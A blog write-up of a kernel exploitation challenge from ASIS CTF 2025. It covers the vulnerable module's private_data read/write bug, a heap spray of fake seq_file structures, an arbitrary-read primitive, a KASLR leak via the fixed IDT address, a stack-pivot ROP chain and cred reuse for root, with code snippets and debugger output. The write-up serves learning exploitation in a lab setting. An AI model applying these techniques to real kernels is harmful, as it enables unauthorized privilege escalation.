ASIS CTF 2025 File No! Writeup

So, I’ve finally gotten around to trying out a kernel pwning challenge.

I picked this one mostly because there weren’t many people working on it and I thought it would be a good learning experience. And I certainly learned a lot.

Full disclosure, ChatGPT did help me with understanding some of the kernel stuff. But it also turns out that its pretty bad at coming up with an exploit strategy (at least for this challenge).

The challenge

We’re given all the usual stuff for a kernel challenge including the bzImage, rootfs.ext4, a run script and the source code for the vulnerable kernel module.

Here’s the important bits from the module:

typedef struct {
  int fd;
  long val;
} req_t;

static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
  req_t req;
  struct file *target = NULL;
  long ret = 0;

  if (cmd != CMD_READ && cmd != CMD_WRITE) {
    return -EINVAL;
  }

  if (copy_from_user(&req, (req_t __user *)arg, sizeof(req))) {
    return -EFAULT;
  }

  mutex_lock(&module_lock);

  if (!(target = fget(req.fd))) {
    ret = -EBADF;
    goto unlock_on_fail;
  }

  if (!S_ISREG(file_inode(target)->i_mode)) {
    ret = -EBADF;
    goto unlock_on_fail;
  }

  if (cmd == CMD_READ) {
    req.val = (long)target->private_data;                         // <--- BUG HERE
    if (copy_to_user((req_t __user *)arg, &req, sizeof(req))) {
      ret = -EFAULT;
      goto unlock_on_fail;
    }
  } else {
    target->private_data = (void*)req.val;                        // <--- BUG HERE
  }

 unlock_on_fail:
  if (target) {
    fput(target);
  }

  mutex_unlock(&module_lock);
  return ret;
}

What this module basically does it allow the user to read or write the private_data member in a struct file which is a void * pointer which I assumed would be something that can store any extra data.

After consulting with ChatGPT, I learned that this private_data pointer is just a NULL pointer for regular files on disk, but for special files like the ones in /proc/, this pointer points to a special struct seq_file structure.

This can easily be confirmed quickly by opening a file like /proc/self/maps and using its fd to read the private_data pointer using the module’s CMD_READ command and comparing it with a regular file.

~ $ ./exploit
Opening vulnerable device /dev/vuln.ko
Opening /proc/self/maps (fd = 2)
Opening /exploit.c (fd = 3)
Sending ioctl to read from /proc/self/maps (request.fd = 2)
Val = ffff8ab001b67000
Sending ioctl to read from /exploit.c (request.fd = 3)
Val = 0

So, this confirms that the private_data pointer for /proc/self/maps is indeed a valid pointer to a struct seq_file. With this knowledge, the next step is to figure out how to fake a struct seq_file to get the flag.

The flag is mounted into the VM as a drive:

-drive file=/tmp/flag.txt,format=raw,index=1

It’s available inside the VM as /dev/sdb

~ # whoami
root
~ # cat /dev/sdb
FLAG{dummy}

So, our objective is to just run cat /dev/sdb as root.

The struct seq_file

The struct seq_file has a relatively simple layout:

struct seq_file {
    char *buf;                        // Pointer to a buffer
...                                   // A bunch of size_t integers
    const struct seq_operations *op;  // Pointer to seq_operations
...
};

I’ve only included the really important members here. The buf member is a pointer to a buffer which is essentially used for buffering some data. The op member points to a struct seq_operations which is a struct of function pointers.

With a fake struct seq_file, we can control the buf pointer and the op pointers which would theoretically provide us with PC control and arbitrary read primitives.

Strategy

For some reason, I found that the flag was in the memory of my VM. I could see it when I ran search-pattern FLAG in GDB. So my idea was to just read the memory of the kernel to find the flag. And so I spent some time working on the arbitrary read primitive.

At the same time, @zolutal and @dbena were not able to find the flag in memory on their machines (I have no idea why), and so they were working on a ROP chain to call cat /dev/sdb which would be invoked using the PC control primitive. However, since we did not have a kernel text leak, this would have to involve some brute-forcing. According to @zolutal, this would be a 1/512 chance of success.

Arbitrary read

Heap spray

In order to craft a fake struct seq_file and overwrite the private_data pointer to this fake structure, I needed to first make sure that the fake structure would be present at some offset from the leaked private_data pointer.

@zolutal suggested that simply creating a bunch of mmaped pages and filling them with fake struct seq_file structures would be a good way to do this. And so I ended up with this code to do the heap spray:

  // This is where I found the flag in memory using GDB
  size_t flag_addr = 0xffff888002ede000;

  // Spray fake seq structures
  // Two 0xdeadbeefcafebabe values are for me to find the sprayed structures in memory
  seq_t fake_seq = {(void *)flag_addr, 0x100, 0, 0, 0, 0, 0, NULL, (void *)0xdeadbeefcafebabe, 0, NULL, (void *)0xdeadbeefcafebabe};

  int i = 0;
  for (i = 0; i < 5000; i++) {
    seq_t *spray = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (spray == MAP_FAILED) {
      perror("mmap");
      return 1;
    }
    memcpy((void *)spray, (void *)&fake_seq, sizeof(seq_t));
  }

  puts("Finished spray");

I found that this was enough to put a fake structure at an offset of -0x42e000 from the leaked private_data pointer.

Leaking memory

My plan for the arbitrary read was to craft a fake struct seq_file with the buf pointing to the address where the flag was located in memory and then to use the seq_read function to read the flag into user space.

In order to do that, I had to avoid any of the ops functions from being invoked as that would just crash. And I found this part of the seq_read_iter function (called by seq_read to actually do the reading) which avoids the ops functions.

    /*
     * if request is to read from zero offset, reset iterator to first
     * record as it might have been already advanced by previous requests
     */
    if (iocb->ki_pos == 0) {                     // <------- HAVE TO AVOID THIS
        m->index = 0;
        m->count = 0;
    }
...
    // something left in the buffer - copy it out first
    if (m->count) {                             // <------- OTHERWISE THIS BRANCH WILL NOT BE TAKEN
        n = copy_to_iter(m->buf + m->from, m->count, iter);
        m->count -= n;
        m->from += n;
        copied += n;
        if (m->count)	// hadn't managed to copy everything
            goto Done;

I found that I just needed to update my fake struct seq_file with the following data:

  fake_seq.buf = (void *)flag_addr;
  fake_seq.from = 0;
  fake_seq.count = 0x1000;
  fake_seq.size = 0x1000;
  fake_seq.read_pos = 1;

And combined with an lseek, I could trigger the branch that executes the goto Done; thus avoiding any of the ops functions.

  // leak_addr comes from the CMD_READ ioctl
  uint64_t leak_page = leak_addr & ~0xfff;
  uint64_t offset = 0x42e000;
  uint64_t fake_seq_addr = leak_page - offset;

  request.val = fake_seq_addr;

  printf("Overwriting private_data with %p\n", (void *)request.val);
  if ( ioctl(vuln_fd, CMD_WRITE, &request) < 0) {
    perror("ioctl");
    return 1;
  }

  char flag_buf[0x100] = {0};
  lseek(fd, 1, SEEK_SET);
  read(fd, (void *)flag_buf, 0x100);

  printf("FLAG %s\n", flag_buf);

And this was working and printing the flag on my machine:

# ./exploit
Opening vulnerable device...
Opening /proc/self/maps...
Sending ioctl to read from sys file
Private data leak = 0xffff888002f67b40
Finished spray
Overwriting private_data with 0xffff888002b39000
FLAG FLAG{dummy}

But this wasn’t working on anyone else’s machine. However, I could just replace the flag_addr with any address that I wanted to read which was basically an arbitrary read primitive.

It’s ROP time

By the time I had gotten to this point, @zolutal and @dbena had come up with a ROP chain to call cat /dev/sdb using the PC control primitive.

Leaking kernel base

After asking @zolutal and @kylebot, it turns out that there’s an area of the kernel which is not randomized. The Interrupt Descriptor Table (IDT), apparently is always at the address 0xfffffe0000000000.

According to @zolutal, everything in the CPU Entry Area is randomized except for this IDT. Now this IDT is a table of struct idt_entry elements. And each struct idt_entry has a layout like this:

offset  size  field
------  ----  ----------------------------
0x00     2    offset0      (addr bits 0..15)
0x02     2    selector
0x04     2    ist:type:dpl:p  (attributes word)
0x06     2    offset1      (addr bits 16..31)
0x08     4    offset2      (addr bits 32..63)
0x0c     4    reserved

By reading the first element of the IDT, we can get a pointer to the kernel text segment which defeats KASLR. We don’t need the whole struct idt_entry to do this, just the bytes from 4 to 12 which contains the <offset2:4bytes><offset1:2bytes><ist:type:dpl:p:2bytes> which gives us all but the last 2 bytes of the address. And since the kernel text base is aligned to a 2MiB boundary, the last 2 bytes are always 0x0000.

So my script was now updated to do this:

  // IDT (0xfffffe0000000000) + 4
  size_t flag_addr = 0xfffffe0000000004;
...
...
  char flag_buf[0x100] = {0};
  lseek(fd, 1, SEEK_SET);
  read(fd, (void *)flag_buf, 0x100);

  // -0x8e00 to zero-out the last 2 bytes
  uint64_t kaslr = *((uint64_t*)flag_buf)-0x8e00;

ROP chain

Since we had already sprayed a bunch of struct seq_file structures, we could just update them in order to place correct seq_operations pointers within them.

When any of the ops functions are called, the first argument is always a pointer to the struct seq_file. So, if we could find a gadget that can move the value of rdi into rsp, we could pivot the stack into a ROP chain.

And surprisingly, there was this gadget in the kernel:

(remote) gef➤ x/6i 0xffffffff814b1a35
   0xffffffff814b1a35:	push   rdi
   0xffffffff814b1a36:	mov    ebx,0x415bfffa
   0xffffffff814b1a3b:	pop    rsp
   0xffffffff814b1a3c:	cdqe
   0xffffffff814b1a3e:	pop    rbp
   0xffffffff814b1a3f:	ret

Which does exactly that.

Privlege Escalation

The first thing I remember from my kernel exploitation reading was that the commit_creds(prepare_kernel_cred(0)) was the way to go for privilege escalation. However, it turns out that we could just re-use a creds structure from an existing process.

The struct task_struct has two pointers to struct cred structures followed by a comm buffer.

    /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu		*real_cred;

    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu		*cred;

    /*
     * executable name, excluding path.
     *
     * - normally initialized begin_new_exec()
     * - set it with set_task_comm()
     *   - strscpy_pad() to ensure it is always NUL-terminated and
     *     zero-padded
     *   - task_lock() to ensure the operation is atomic and the name is
     *     fully updated.
     */
    char				comm[TASK_COMM_LEN];

Now, for the init_task, the comm is swapper. So if we search the memory in GDB for swapper, we can find the real_cred and cred pointers just before this string which give us the pointer to a struct creds for the init process which is running as root.

(remote) gef➤ search-pattern swapper
[+] Searching 'swapper' in memory
[+] In (0xffff888001a00000-0xffff888001caf000), permission=r--
  0xffff888001c2533e - 0xffff888001c25345"swapper"
[+] In (0xffff888001caf000-0xffff8880020dc000), permission=rw-
  0xffff888001e0ca50 - 0xffff888001e0ca59"swapper/0"
[+] In (0xffffffff81a00000-0xffffffff81caf000), permission=r--
  0xffffffff81c2533e - 0xffffffff81c25345"swapper"
[+] In (0xffffffff81caf000-0xffffffff820dc000), permission=rw-
  0xffffffff81e0ca50 - 0xffffffff81e0ca59"swapper/0"
(remote) gef➤ tele 0xffffffff81e0ca50-0x10
0xffffffff81e0ca40│+0x0000: 0xffffffff81e3bf600x0000000000000004    <------ real_cred
0xffffffff81e0ca48│+0x0008: 0xffffffff81e3bf600x0000000000000004    <------ cred
0xffffffff81e0ca50│+0x0010: "swapper/0"                                  <------ comm
0xffffffff81e0ca58│+0x0018: 0x0000000000000030 ("0"?)
0xffffffff81e0ca60│+0x0020: 0x0000000000000000

So, all we need to do is just call commit_creds(0xffffffff81e3bf60) to become root.

The final touches

With some magic about swapgs and iretq as perfectly explained by lkmidas here, all we had to do was to return to user space properly and run cat /dev/sdb.

It also turns out that the VM has a libc inside it. So we don’t need to compile the exploit statically which significantly reduces the size of the binary. Still, with some gzip + base64 magic, @zolutal was able to run the exploit on the remote machine and got the flag.

The final exploit code is available here. And the challenge files are available here.

Extra Credit

After the CTF, I saw @kylebot and @zolutal talk about other writeups for this challenge and @kylebot mentioned that some writeup managed to use the CPU Entry Area. Apparently, there’s a special instruction called sgdt which can return the pointer to the randomized CPU Entry Area (thus defeating KASLR). But, on modern kernels (<6.2), this instruction is not allowed because of the 11th bit in the CR4 register called UMIP (User-Mode Instruction Prevention). However, this mitigation isn’t implemented in QEMU (when its using TCG) and so it can be used to leak the CPU Entry Area address. Their solution involved storing the fake struct seq_file in the CPU Entry Area, followed by using the sgdt instruction to get the address of the fake structure which is then used to overwrite the private_data pointer.

Additionally, this challenge would not panic on warnings, and so it would have been possible to just leak a kernel pointer using a warning. Maybe I’ll think of these the next time I try a kernel challenge.

I recommend reading their writeup which is available here.




Enjoy Reading This Article?

Here are some more articles you might like to read next:

  • M0lecon CTF Teaser 2024 ducts Writeup
  • M0lecon CTF 2023 NoRegVM Writeup
  • OCTF 2022 EZVM Writeup